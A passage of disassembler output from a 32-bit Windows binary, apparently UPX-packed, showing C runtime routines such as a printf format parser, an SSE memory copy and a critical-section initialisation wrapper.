xor eax, eax ; jumptable 00412A28 case 1
or [ebp+var_40C], 0FFFFFFFFh
mov [ebp+var_45C], eax
mov [ebp+var_450], eax
mov [ebp+var_42C], eax
mov [ebp+var_424], eax
mov [ebp+var_408], eax
mov [ebp+var_428], eax
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412A61: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
movzx eax, cx ; jumptable 00412A28 case 2
sub eax, 20h
jz short loc_412AB1
sub eax, 3
jz short loc_412AA2
sub eax, esi
jz short loc_412A96
sub eax, edx
jz short loc_412A8A
sub eax, 3
jnz loc_413405 ; default
or [ebp+var_408], esi
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412A8A: ; CODE XREF: sub_4128E7+18Dj
or [ebp+var_408], 4
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412A96: ; CODE XREF: sub_4128E7+189j
or [ebp+var_408], 1
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412AA2: ; CODE XREF: sub_4128E7+185j
or [ebp+var_408], 80h
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412AB1: ; CODE XREF: sub_4128E7+180j
or [ebp+var_408], edx
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412ABC: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
cmp cx, 2Ah ; jumptable 00412A28 case 3
jnz short loc_412AED
mov eax, [ebx]
add ebx, 4
mov [ebp+var_418], ebx
mov [ebp+var_42C], eax
test eax, eax
jge loc_413411
or [ebp+var_408], 4
neg [ebp+var_42C]
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412AED: ; CODE XREF: sub_4128E7+1D9j
mov eax, [ebp+var_42C]
imul eax, 0Ah
movzx ecx, cx
lea eax, [eax+ecx-30h]
mov [ebp+var_42C], eax
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412B08: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
and [ebp+var_40C], 0 ; jumptable 00412A28 case 4
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412B14: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
cmp cx, 2Ah ; jumptable 00412A28 case 5
jnz short loc_412B3F
mov eax, [ebx]
add ebx, 4
mov [ebp+var_418], ebx
mov [ebp+var_40C], eax
test eax, eax
jge loc_413411
or [ebp+var_40C], 0FFFFFFFFh
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412B3F: ; CODE XREF: sub_4128E7+231j
mov eax, [ebp+var_40C]
imul eax, 0Ah
movzx ecx, cx
lea eax, [eax+ecx-30h]
mov [ebp+var_40C], eax
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412B5A: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
movzx eax, cx ; jumptable 00412A28 case 6
cmp eax, 49h
jz short loc_412BB3
cmp eax, 68h
jz short loc_412BA7
cmp eax, 6Ch
jz short loc_412B84
cmp eax, 77h
jnz loc_413411
or [ebp+var_408], 800h
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412B84: ; CODE XREF: sub_4128E7+283j
cmp word ptr [edi], 6Ch
jnz short loc_412B9B
add edi, edx
or [ebp+var_408], 1000h
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412B9B: ; CODE XREF: sub_4128E7+2A1j
or [ebp+var_408], 10h
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412BA7: ; CODE XREF: sub_4128E7+27Ej
or [ebp+var_408], 20h
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412BB3: ; CODE XREF: sub_4128E7+279j
movzx eax, word ptr [edi]
cmp ax, 36h
jnz short loc_412BD5
cmp word ptr [edi+2], 34h
jnz short loc_412BD5
add edi, 4
or [ebp+var_408], 8000h
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412BD5: ; CODE XREF: sub_4128E7+2D3j
; sub_4128E7+2DAj
cmp ax, 33h
jnz short loc_412BF4
cmp word ptr [edi+2], 32h
jnz short loc_412BF4
add edi, 4
and [ebp+var_408], 0FFFF7FFFh
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412BF4: ; CODE XREF: sub_4128E7+2F2j
; sub_4128E7+2F9j
cmp ax, 64h
jz loc_413411
cmp ax, 69h
jz loc_413411
cmp ax, 6Fh
jz loc_413411
cmp ax, 75h
jz loc_413411
cmp ax, 78h
jz loc_413411
cmp ax, 58h
jz loc_413411
and [ebp+var_434], 0
loc_412C37: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
mov eax, [ebp+var_43C] ; jumptable 00412A28 case 0
push ecx
lea esi, [ebp+var_420]
mov [ebp+var_428], 1
call sub_41283F
pop ecx
jmp loc_413411
; ---------------------------------------------------------------------------
loc_412C59: ; CODE XREF: sub_4128E7+141j
; DATA XREF: UPX0:off_413467o
movzx eax, cx ; jumptable 00412A28 case 7
cmp eax, 64h
jg loc_412E95
jz loc_412F28
cmp eax, 53h
jg loc_412D8F
jz short loc_412CF4
sub eax, 41h
jz short loc_412C8B
sub eax, edx
jz short loc_412CD8
sub eax, edx
jz short loc_412C8B
sub eax, edx
jnz loc_413277
loc_412C8B: ; CODE XREF: sub_4128E7+392j
; sub_4128E7+39Aj
add ecx, 20h
mov [ebp+var_45C], 1
mov [ebp+var_41C], ecx
loc_412C9E: ; CODE XREF: sub_4128E7+4BCj
; sub_4128E7+5C9j
or [ebp+var_408], 40h
cmp [ebp+var_40C], 0
lea esi, [ebp+var_404]
mov eax, 200h
mov [ebp+var_410], esi
mov [ebp+var_414], eax
jge loc_412F56
mov [ebp+var_40C], 6
jmp loc_412FC1
; ---------------------------------------------------------------------------
loc_412CD8: ; CODE XREF: sub_4128E7+396j
test [ebp+var_408], 830h
jnz loc_412DB1
or [ebp+var_408], 20h
jmp loc_412DB1
; ---------------------------------------------------------------------------
loc_412CF4: ; CODE XREF: sub_4128E7+38Dj
test [ebp+var_408], 830h
jnz short loc_412D07
or [ebp+var_408], 20h
loc_412D07: ; CODE XREF: sub_4128E7+417j
; sub_4128E7+7B0j
mov edi, [ebp+var_40C]
cmp edi, 0FFFFFFFFh
jnz short loc_412D17
mov edi, 7FFFFFFFh
loc_412D17: ; CODE XREF: sub_4128E7+429j
add ebx, 4
test byte ptr [ebp+var_408], 20h
mov [ebp+var_418], ebx
mov ebx, [ebx-4]
mov [ebp+var_410], ebx
jz loc_41323B
test ebx, ebx
jnz short loc_412D45
mov eax, off_42ACE8
mov [ebp+var_410], eax
loc_412D45: ; CODE XREF: sub_4128E7+451j
and [ebp+var_414], 0
mov esi, [ebp+var_410]
test edi, edi
jle loc_413277
loc_412D5A: ; CODE XREF: sub_4128E7+4A1j
mov al, [esi]
test al, al
jz loc_413277
lea ecx, [ebp+var_44C]
movzx eax, al
push ecx
push eax
call sub_4127F4
pop ecx
pop ecx
test eax, eax
jz short loc_412D7B
inc esi
loc_412D7B: ; CODE XREF: sub_4128E7+491j
inc esi
inc [ebp+var_414]
cmp [ebp+var_414], edi
jl short loc_412D5A
jmp loc_413277
; ---------------------------------------------------------------------------
loc_412D8F: ; CODE XREF: sub_4128E7+387j
sub eax, 58h
jz loc_413088
sub eax, edx
jz loc_412E35
sub eax, 7
jz loc_412C9E
sub eax, edx
jnz loc_413277
loc_412DB1: ; CODE XREF: sub_4128E7+3FBj
; sub_4128E7+408j
movzx eax, word ptr [ebx]
add ebx, 4
xor esi, esi
inc esi
test byte ptr [ebp+var_408], 20h
mov [ebp+var_428], esi
mov [ebp+var_418], ebx
mov [ebp+var_464], eax
jz short loc_412E17
mov [ebp+var_438], al
lea eax, [ebp+var_44C]
push eax
mov eax, [ebp+var_44C]
mov [ebp+var_437], 0
push dword ptr [eax+0ACh]
lea eax, [ebp+var_438]
push eax
lea eax, [ebp+var_404]
push eax
call sub_4126C3
add esp, 10h
test eax, eax
jge short loc_412E1E
mov [ebp+var_450], esi
jmp short loc_412E1E
; ---------------------------------------------------------------------------
loc_412E17: ; CODE XREF: sub_4128E7+4ECj
mov [ebp+var_404], ax
loc_412E1E: ; CODE XREF: sub_4128E7+526j
; sub_4128E7+52Ej
lea eax, [ebp+var_404]
mov [ebp+var_410], eax
mov [ebp+var_414], esi
jmp loc_413277
; ---------------------------------------------------------------------------
loc_412E35: ; CODE XREF: sub_4128E7+4B3j
mov eax, [ebx]
add ebx, 4
mov [ebp+var_418], ebx
test eax, eax
jz short loc_412E7E
mov ecx, [eax+4]
test ecx, ecx
jz short loc_412E7E
test [ebp+var_408], 800h
movsx eax, word ptr [eax]
mov [ebp+var_410], ecx
jz short loc_412E72
cdq
sub eax, edx
mov [ebp+var_428], 1
jmp loc_41326F
; ---------------------------------------------------------------------------
loc_412E72: ; CODE XREF: sub_4128E7+577j
and [ebp+var_428], 0
jmp loc_413271
; ---------------------------------------------------------------------------
loc_412E7E: ; CODE XREF: sub_4128E7+55Bj
; sub_4128E7+562j
mov eax, off_42ACE8
mov [ebp+var_410], eax
push eax
loc_412E8A: ; CODE XREF: sub_4128E7+796j
call sub_40BFB0
pop ecx
jmp loc_413271
; ---------------------------------------------------------------------------
loc_412E95: ; CODE XREF: sub_4128E7+378j
cmp eax, 70h
jg loc_413094
jz loc_413082
cmp eax, 65h
jl loc_413277
cmp eax, 67h
jle loc_412C9E
cmp eax, 69h
jz short loc_412F28
cmp eax, 6Eh
jz short loc_412EE4
cmp eax, 6Fh
jnz loc_413277
test byte ptr [ebp+var_408], 80h
mov [ebp+var_41C], esi
jz short loc_412F39
or [ebp+var_408], 200h
jmp short loc_412F39
; ---------------------------------------------------------------------------
loc_412EE4: ; CODE XREF: sub_4128E7+5D7j
mov esi, [ebx]
add ebx, 4
mov [ebp+var_418], ebx
call sub_4126AD
test eax, eax
jz loc_412952
test byte ptr [ebp+var_408], 20h
jz short loc_412F11
mov ax, word ptr [ebp+var_420]
mov [esi], ax
jmp short loc_412F19
; ---------------------------------------------------------------------------
loc_412F11: ; CODE XREF: sub_4128E7+61Cj
mov eax, [ebp+var_420]
mov [esi], eax
loc_412F19: ; CODE XREF: sub_4128E7+628j
mov [ebp+var_450], 1
jmp loc_4133E9
; ---------------------------------------------------------------------------
loc_412F28: ; CODE XREF: sub_4128E7+37Ej
; sub_4128E7+5D2j
or [ebp+var_408], 40h
loc_412F2F: ; CODE XREF: sub_4128E7+7B8j
mov [ebp+var_41C], 0Ah
loc_412F39: ; CODE XREF: sub_4128E7+5EFj
; sub_4128E7+5FBj ...
test [ebp+var_408], 8000h
jz loc_4130F4
loc_412F49: ; CODE XREF: sub_4128E7+817j
add ebx, esi
mov eax, [ebx-8]
mov edx, [ebx-4]
jmp loc_41313D
; ---------------------------------------------------------------------------
loc_412F56: ; CODE XREF: sub_4128E7+3DCj
jnz short loc_412F6A
cmp cx, 67h
jnz short loc_412FC1
mov [ebp+var_40C], 1
jmp short loc_412FC1
; ---------------------------------------------------------------------------
loc_412F6A: ; CODE XREF: sub_4128E7:loc_412F56j
cmp [ebp+var_40C], eax
jle short loc_412F78
mov [ebp+var_40C], eax
loc_412F78: ; CODE XREF: sub_4128E7+689j
cmp [ebp+var_40C], 0A3h
jle short loc_412FC1
mov edi, [ebp+var_40C]
add edi, 15Dh
push edi
call sub_40EF2A
pop ecx
mov ecx, [ebp+var_41C]
mov [ebp+var_458], eax
test eax, eax
jz short loc_412FB7
mov [ebp+var_410], eax
mov [ebp+var_414], edi
mov esi, eax
jmp short loc_412FC1
; ---------------------------------------------------------------------------
loc_412FB7: ; CODE XREF: sub_4128E7+6BEj
mov [ebp+var_40C], 0A3h
loc_412FC1: ; CODE XREF: sub_4128E7+3ECj
; sub_4128E7+675j ...
mov eax, [ebx]
add ebx, 8
mov [ebp+var_46C], eax
mov eax, [ebx-4]
mov [ebp+var_468], eax
lea eax, [ebp+var_44C]
push eax
push [ebp+var_45C]
movsx eax, cl
push [ebp+var_40C]
mov [ebp+var_418], ebx
push eax
push [ebp+var_414]
lea eax, [ebp+var_46C]
push esi
push eax
push dword_42AD08
call sub_40E143
pop ecx
call eax
mov ebx, [ebp+var_408]
add esp, 1Ch
and ebx, 80h
jz short loc_413040
cmp [ebp+var_40C], 0
jnz short loc_413040
lea eax, [ebp+var_44C]
push eax
push esi
push dword_42AD14
call sub_40E143
pop ecx
call eax
pop ecx
pop ecx
loc_413040: ; CODE XREF: sub_4128E7+736j
; sub_4128E7+73Fj
cmp word ptr [ebp+var_41C], 67h
jnz short loc_413066
test ebx, ebx
jnz short loc_413066
lea eax, [ebp+var_44C]
push eax
push esi
push dword_42AD10
call sub_40E143
pop ecx
call eax
pop ecx
pop ecx
loc_413066: ; CODE XREF: sub_4128E7+761j
; sub_4128E7+765j
cmp byte ptr [esi], 2Dh
jnz short loc_41307C
or [ebp+var_408], 100h
inc esi
mov [ebp+var_410], esi
loc_41307C: ; CODE XREF: sub_4128E7+782j
push esi
jmp loc_412E8A
; ---------------------------------------------------------------------------
loc_413082: ; CODE XREF: sub_4128E7+5B7j
mov [ebp+var_40C], esi
loc_413088: ; CODE XREF: sub_4128E7+4ABj
mov [ebp+var_454], 7
jmp short loc_4130B8
; ---------------------------------------------------------------------------
loc_413094: ; CODE XREF: sub_4128E7+5B1j
sub eax, 73h
jz loc_412D07
sub eax, edx
jz loc_412F2F
sub eax, 3
jnz loc_413277
mov [ebp+var_454], 27h
loc_4130B8: ; CODE XREF: sub_4128E7+7ABj
test byte ptr [ebp+var_408], 80h
mov [ebp+var_41C], 10h
jz loc_412F39
push 30h
pop eax
mov [ebp+var_430], ax
mov eax, [ebp+var_454]
add eax, 51h
mov [ebp+var_42E], ax
mov [ebp+var_424], edx
jmp loc_412F39
; ---------------------------------------------------------------------------
loc_4130F4: ; CODE XREF: sub_4128E7+65Cj
test [ebp+var_408], 1000h
jnz loc_412F49
add ebx, 4
test byte ptr [ebp+var_408], 20h
jz short loc_41312C
test byte ptr [ebp+var_408], 40h
mov [ebp+var_418], ebx
jz short loc_413125
movsx eax, word ptr [ebx-4]
jmp short loc_413129
; ---------------------------------------------------------------------------
loc_413125: ; CODE XREF: sub_4128E7+836j
movzx eax, word ptr [ebx-4]
loc_413129: ; CODE XREF: sub_4128E7+83Cj
cdq
jmp short loc_413143
; ---------------------------------------------------------------------------
loc_41312C: ; CODE XREF: sub_4128E7+827j
test byte ptr [ebp+var_408], 40h
mov eax, [ebx-4]
jz short loc_41313B
cdq
jmp short loc_41313D
; ---------------------------------------------------------------------------
loc_41313B: ; CODE XREF: sub_4128E7+84Fj
xor edx, edx
loc_41313D: ; CODE XREF: sub_4128E7+66Aj
; sub_4128E7+852j
mov [ebp+var_418], ebx
loc_413143: ; CODE XREF: sub_4128E7+843j
test byte ptr [ebp+var_408], 40h
jz short loc_413167
test edx, edx
jg short loc_413167
jl short loc_413156
test eax, eax
jnb short loc_413167
loc_413156: ; CODE XREF: sub_4128E7+869j
neg eax
adc edx, 0
neg edx
or [ebp+var_408], 100h
loc_413167: ; CODE XREF: sub_4128E7+863j
; sub_4128E7+867j ...
test [ebp+var_408], 9000h
mov ebx, edx
mov edi, eax
jnz short loc_413179
xor ebx, ebx
loc_413179: ; CODE XREF: sub_4128E7+88Ej
cmp [ebp+var_40C], 0
jge short loc_41318E
mov [ebp+var_40C], 1
jmp short loc_4131A8
; ---------------------------------------------------------------------------
loc_41318E: ; CODE XREF: sub_4128E7+899j
and [ebp+var_408], 0FFFFFFF7h
mov eax, 200h
cmp [ebp+var_40C], eax
jle short loc_4131A8
mov [ebp+var_40C], eax
loc_4131A8: ; CODE XREF: sub_4128E7+8A5j
; sub_4128E7+8B9j
mov eax, edi
or eax, ebx
jnz short loc_4131B4
and [ebp+var_424], eax
loc_4131B4: ; CODE XREF: sub_4128E7+8C5j
lea esi, [ebp+var_205]
loc_4131BA: ; CODE XREF: sub_4128E7+914j
mov eax, [ebp+var_40C]
dec [ebp+var_40C]
test eax, eax
jg short loc_4131D0
mov eax, edi
or eax, ebx
jz short loc_4131FD
loc_4131D0: ; CODE XREF: sub_4128E7+8E1j
mov eax, [ebp+var_41C]
cdq
push edx
push eax
push ebx
push edi
call sub_40F060
add ecx, 30h
cmp ecx, 39h
mov [ebp+var_470], ebx
mov edi, eax
mov ebx, edx
jle short loc_4131F8
add ecx, [ebp+var_454]
loc_4131F8: ; CODE XREF: sub_4128E7+909j
mov [esi], cl
dec esi
jmp short loc_4131BA
; ---------------------------------------------------------------------------
loc_4131FD: ; CODE XREF: sub_4128E7+8E7j
lea eax, [ebp+var_205]
sub eax, esi
inc esi
test [ebp+var_408], 200h
mov [ebp+var_414], eax
mov [ebp+var_410], esi
jz short loc_413277
test eax, eax
jz short loc_413229
mov ecx, esi
cmp byte ptr [ecx], 30h
jz short loc_413277
loc_413229: ; CODE XREF: sub_4128E7+939j
dec [ebp+var_410]
mov ecx, [ebp+var_410]
mov byte ptr [ecx], 30h
inc eax
jmp short loc_413271
; ---------------------------------------------------------------------------
loc_41323B: ; CODE XREF: sub_4128E7+449j
test ebx, ebx
jnz short loc_41324A
mov eax, off_42ACEC
mov [ebp+var_410], eax
loc_41324A: ; CODE XREF: sub_4128E7+956j
mov eax, [ebp+var_410]
mov [ebp+var_428], 1
jmp short loc_413265
; ---------------------------------------------------------------------------
loc_41325C: ; CODE XREF: sub_4128E7+980j
dec edi
cmp word ptr [eax], 0
jz short loc_413269
add eax, edx
loc_413265: ; CODE XREF: sub_4128E7+973j
test edi, edi
jnz short loc_41325C
loc_413269: ; CODE XREF: sub_4128E7+97Aj
sub eax, [ebp+var_410]
loc_41326F: ; CODE XREF: sub_4128E7+586j
sar eax, 1
loc_413271: ; CODE XREF: sub_4128E7+592j
; sub_4128E7+5A9j ...
mov [ebp+var_414], eax
loc_413277: ; CODE XREF: sub_4128E7+39Ej
; sub_4128E7+46Dj ...
cmp [ebp+var_450], 0
jnz loc_4133E9
mov eax, [ebp+var_408]
test al, 40h
jz short loc_4132B9
test eax, 100h
jz short loc_413299
push 2Dh
jmp short loc_4132A7
; ---------------------------------------------------------------------------
loc_413299: ; CODE XREF: sub_4128E7+9ACj
test al, 1
jz short loc_4132A1
push 2Bh
jmp short loc_4132A7
; ---------------------------------------------------------------------------
loc_4132A1: ; CODE XREF: sub_4128E7+9B4j
test al, 2
jz short loc_4132B9
push 20h
loc_4132A7: ; CODE XREF: sub_4128E7+9B0j
; sub_4128E7+9B8j
pop eax
mov [ebp+var_430], ax
mov [ebp+var_424], 1
loc_4132B9: ; CODE XREF: sub_4128E7+9A5j
; sub_4128E7+9BCj
mov ebx, [ebp+var_42C]
mov esi, [ebp+var_414]
sub ebx, esi
sub ebx, [ebp+var_424]
test byte ptr [ebp+var_408], 0Ch
jnz short loc_4132ED
push [ebp+var_43C]
lea eax, [ebp+var_420]
push ebx
push 20h
call sub_41286E
add esp, 0Ch
loc_4132ED: ; CODE XREF: sub_4128E7+9EDj
push [ebp+var_424]
mov edi, [ebp+var_43C]
lea eax, [ebp+var_420]
lea ecx, [ebp+var_430]
call sub_412895
test byte ptr [ebp+var_408], 8
pop ecx
jz short loc_41332F
test byte ptr [ebp+var_408], 4
jnz short loc_41332F
push edi
push ebx
push 30h
lea eax, [ebp+var_420]
call sub_41286E
add esp, 0Ch
loc_41332F: ; CODE XREF: sub_4128E7+A2Bj
; sub_4128E7+A34j
cmp [ebp+var_428], 0
jnz short loc_4133AD
test esi, esi
jle short loc_4133AD
mov edi, [ebp+var_410]
mov [ebp+var_41C], esi
loc_413348: ; CODE XREF: sub_4128E7+AB9j
dec [ebp+var_41C]
lea eax, [ebp+var_44C]
push eax
mov eax, [ebp+var_44C]
push dword ptr [eax+0ACh]
lea eax, [ebp+var_464]
push edi
push eax
call sub_4126C3
add esp, 10h
mov [ebp+var_470], eax
test eax, eax
jle short loc_4133A4
push [ebp+var_464]
mov eax, [ebp+var_43C]
lea esi, [ebp+var_420]
call sub_41283F
add edi, [ebp+var_470]
cmp [ebp+var_41C], 0
pop ecx
jg short loc_413348
jmp short loc_4133C0
; ---------------------------------------------------------------------------
loc_4133A4: ; CODE XREF: sub_4128E7+A92j
or [ebp+var_420], 0FFFFFFFFh
jmp short loc_4133C0
; ---------------------------------------------------------------------------
loc_4133AD: ; CODE XREF: sub_4128E7+A4Fj
; sub_4128E7+A53j
mov ecx, [ebp+var_410]
push esi
lea eax, [ebp+var_420]
call sub_412895
pop ecx
loc_4133C0: ; CODE XREF: sub_4128E7+ABBj
; sub_4128E7+AC4j
cmp [ebp+var_420], 0
jl short loc_4133E9
test byte ptr [ebp+var_408], 4
jz short loc_4133E9
push [ebp+var_43C]
lea eax, [ebp+var_420]
push ebx
push 20h
call sub_41286E
add esp, 0Ch
loc_4133E9: ; CODE XREF: sub_4128E7+63Cj
; sub_4128E7+997j ...
cmp [ebp+var_458], 0
jz short loc_413405 ; default
push [ebp+var_458]
call sub_40ADC8
and [ebp+var_458], 0
pop ecx
loc_413405: ; CODE XREF: sub_4128E7+13Bj
; sub_4128E7+192j ...
mov edi, [ebp+var_460] ; default
mov ebx, [ebp+var_418]
loc_413411: ; CODE XREF: sub_4128E7+175j
; sub_4128E7+19Ej ...
movzx eax, word ptr [edi]
xor esi, esi
mov [ebp+var_41C], eax
cmp ax, si
jz short loc_413428
mov ecx, eax
jmp loc_4129C9
; ---------------------------------------------------------------------------
loc_413428: ; CODE XREF: sub_4128E7+F3j
; sub_4128E7+B38j
cmp [ebp+var_434], esi
jz short loc_41343D
cmp [ebp+var_434], 7
jnz loc_41298D
loc_41343D: ; CODE XREF: sub_4128E7+DCj
; sub_4128E7+B47j
cmp [ebp+var_440], 0
jz short loc_413450
mov eax, [ebp+var_444]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_413450: ; CODE XREF: sub_4128E7+B5Dj
mov eax, [ebp+var_420]
loc_413456: ; CODE XREF: sub_4128E7+9Bj
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn
sub_4128E7 endp
; ---------------------------------------------------------------------------
db 8Bh, 0FFh
off_413467 dd offset loc_412C37 ; DATA XREF: sub_4128E7+141r
dd offset loc_412A2F ; jump table for switch statement
dd offset loc_412A61
dd offset loc_412ABC
dd offset loc_412B08
dd offset loc_412B14
dd offset loc_412B5A
dd offset loc_412C59
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413487 proc near ; CODE XREF: sub_41350E+4Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], edi
mov [ebp+var_8], esi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
shr ecx, 7
jmp short loc_4134A7
; ---------------------------------------------------------------------------
db 8Dh, 9Bh, 4 dup(0)
; ---------------------------------------------------------------------------
loc_4134A7: ; CODE XREF: sub_413487+18j
; sub_413487+7Bj
movdqa xmm0, oword ptr [esi]
movdqa xmm1, oword ptr [esi+10h]
movdqa xmm2, oword ptr [esi+20h]
movdqa xmm3, oword ptr [esi+30h]
movdqa oword ptr [edi], xmm0
movdqa oword ptr [edi+10h], xmm1
movdqa oword ptr [edi+20h], xmm2
movdqa oword ptr [edi+30h], xmm3
movdqa xmm4, oword ptr [esi+40h]
movdqa xmm5, oword ptr [esi+50h]
movdqa xmm6, oword ptr [esi+60h]
movdqa xmm7, oword ptr [esi+70h]
movdqa oword ptr [edi+40h], xmm4
movdqa oword ptr [edi+50h], xmm5
movdqa oword ptr [edi+60h], xmm6
movdqa oword ptr [edi+70h], xmm7
lea esi, [esi+80h]
lea edi, [edi+80h]
dec ecx
jnz short loc_4134A7
mov esi, [ebp+var_8]
mov edi, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_413487 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41350E proc near ; CODE XREF: sub_40CA30+42j
; sub_40E710+42j ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], edi
mov [ebp+var_8], esi
mov [ebp+var_4], ebx
mov ebx, [ebp+arg_4]
mov eax, ebx
cdq
mov ecx, eax
mov eax, [ebp+arg_0]
xor ecx, edx
sub ecx, edx
and ecx, 0Fh
xor ecx, edx
sub ecx, edx
cdq
mov edi, eax
xor edi, edx
sub edi, edx
and edi, 0Fh
xor edi, edx
sub edi, edx
mov edx, ecx
or edx, edi
jnz short loc_413591
mov esi, [ebp+arg_8]
mov ecx, esi
and ecx, 7Fh
mov [ebp+var_18], ecx
cmp esi, ecx
jz short loc_413569
sub esi, ecx
push esi
push ebx
push eax
call sub_413487
add esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_18]
loc_413569: ; CODE XREF: sub_41350E+46j
test ecx, ecx
jz short loc_4135E4
mov ebx, [ebp+arg_8]
mov edx, [ebp+arg_4]
add edx, ebx
sub edx, ecx
mov [ebp+var_14], edx
add ebx, eax
sub ebx, ecx
mov [ebp+var_10], ebx
mov esi, [ebp+var_14]
mov edi, [ebp+var_10]
mov ecx, [ebp+var_18]
rep movsb
mov eax, [ebp+arg_0]
jmp short loc_4135E4
; ---------------------------------------------------------------------------
loc_413591: ; CODE XREF: sub_41350E+37j
cmp ecx, edi
jnz short loc_4135CA
neg ecx
add ecx, 10h
mov [ebp+var_1C], ecx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+var_1C]
rep movsb
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_1C]
mov edx, [ebp+arg_4]
add edx, [ebp+var_1C]
mov eax, [ebp+arg_8]
sub eax, [ebp+var_1C]
push eax
push edx
push ecx
call sub_41350E
add esp, 0Ch
mov eax, [ebp+arg_0]
jmp short loc_4135E4
; ---------------------------------------------------------------------------
loc_4135CA: ; CODE XREF: sub_41350E+85j
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebp+arg_0]
loc_4135E4: ; CODE XREF: sub_41350E+5Dj
; sub_41350E+81j ...
mov ebx, [ebp+var_4]
mov esi, [ebp+var_8]
mov edi, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_41350E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135F1 proc near ; CODE XREF: sub_40DD8A+11p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_42ED44, eax
pop ebp
retn
sub_4135F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413600 proc near ; CODE XREF: sub_40CE2D+28p
; sub_40CEE6+78p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push 10h
push offset dword_426C50
call __SEH_prolog4
and [ebp+ms_exc.disabled], 0
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41D12C ; InitializeCriticalSectionAndSpinCount
mov [ebp+var_1C], eax
jmp short loc_413650
; ---------------------------------------------------------------------------
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_20], eax
xor ecx, ecx
cmp eax, 0C0000017h
setz cl
mov eax, ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
cmp [ebp+var_20], 0C0000017h
jnz short loc_41364C
push 8
call dword_41D1D0 ; RtlSetLastWin32Error
loc_41364C: ; CODE XREF: sub_413600+42j
and [ebp+var_1C], 0
loc_413650: ; CODE XREF: sub_413600+1Fj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_413600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413660 proc near ; CODE XREF: sub_40DD8A+29p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_42ED48, eax
mov dword_42ED4C, eax
mov dword_42ED50, eax
mov dword_42ED54, eax
pop ebp
retn
sub_413660 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41367E proc near ; CODE XREF: sub_4136C2+5Ap
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, dword_42A3DC
push esi
loc_41368D: ; CODE XREF: sub_41367E+21j
cmp [eax+4], edx
jz short loc_4136A1
mov esi, ecx
imul esi, 0Ch
add esi, [ebp+arg_0]
add eax, 0Ch
cmp eax, esi
jb short loc_41368D
loc_4136A1: ; CODE XREF: sub_41367E+12j
imul ecx, 0Ch
add ecx, [ebp+arg_0]
pop esi
cmp eax, ecx
jnb short loc_4136B1
cmp [eax+4], edx
jz short loc_4136B3
loc_4136B1: ; CODE XREF: sub_41367E+2Cj
xor eax, eax
loc_4136B3: ; CODE XREF: sub_41367E+31j
pop ebp
retn
sub_41367E endp
; =============== S U B R O U T I N E =======================================
sub_4136B5 proc near ; CODE XREF: sub_413B6D:loc_413B94p
push dword_42ED50
call sub_40E143
pop ecx
retn
sub_4136B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C2 proc near ; CODE XREF: sub_413B6D+32p
